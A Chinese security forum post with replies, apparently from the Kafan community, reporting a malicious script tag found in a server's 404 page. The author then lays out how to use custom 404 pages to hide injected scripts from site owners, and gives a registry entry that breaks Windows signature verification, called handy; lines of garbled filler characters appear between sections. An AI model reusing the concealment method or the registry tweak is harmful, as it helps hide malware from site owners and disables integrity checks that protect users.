404挂马 + 杂谈 + AD

xingke

今天在卡饭看到的被说是挂马的东西，想要获取源码但返回了404；

     细心一看，的确被挂马了，从服务器那里返回的404信息里面包含了挂马代码：

<script src="http://ad.XXX.com/file/da.js"></script>



     貌似最近第三次看到了；

     P.S. 某服务器返回的404信息是可以自定义的，如Google的那些：http://www.google.com/2.htm

    细想一下，这样是一个不错的挂马选择：

    先把挂马代码插入到要返回的404信息里面；

    然后才在正常的页面里面写入<iframe>框架或者<script>脚本，src指向本地域名的一个无效URL；

只要URL的名称不是太难看，足以让一些站长昏头转向，找不着马来，对于我等找马的人来说也是挺麻烦的。

ＤＩ+#ＫＥ#=ＸＤ+Ｉ+Ｋ=Ｅ#ＸＤ+ＩＫ+$Ｅ=Ｘ+ＤＩＫ##ＥＸＤ$#ＩＫ#=Ｅ#$Ｘ=ＤＩ+Ｋ=ＥＸ#+Ｄ#ＩＫ$=ＥＸ++ＤＩＫ$+Ｅ#+Ｘ+Ｄ=#Ｉ#Ｋ#$Ｅ=ＸＤ$=Ｉ$+Ｋ$$Ｅ=ＸＤ+$Ｉ=$Ｋ+

    杂谈时间：

   无意中发现了一样东西：

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer]
"AuthenticodeFlags"=dword:00000101


    导入上面的注册表信息后，你将会发现Windows的文件校验失效，导致autoruns等调用微软的校验的软件全部失效，显示所有的文件都没有通过微软认证（SRENG等第三方的无碍）；

    还有QQ医生无法运行，证书也会出现问题，自动更新无法进行……

    哈哈，还是挺好用的一个东西

+Ｄ$ＩＫＥ#ＸＤＩＫＥＸＤ$Ｉ#Ｋ$Ｅ#$Ｘ=Ｄ+#Ｉ#$Ｋ+Ｅ=Ｘ=#Ｄ#Ｉ++Ｋ+=ＥＸ##ＤＩ+=Ｋ=Ｅ$$ＸＤ$ＩＫ#+ＥＸ+ＤＩ$=ＫＥ#ＸＤＩＫ+ＥＸ=Ｄ=#ＩＫ++ＥＸＤ$#ＩＫＥＸ=Ｄ

冰糖

很毒，很强大/:L

tyrron

谢谢楼主.高人啊!高人啊!顶一下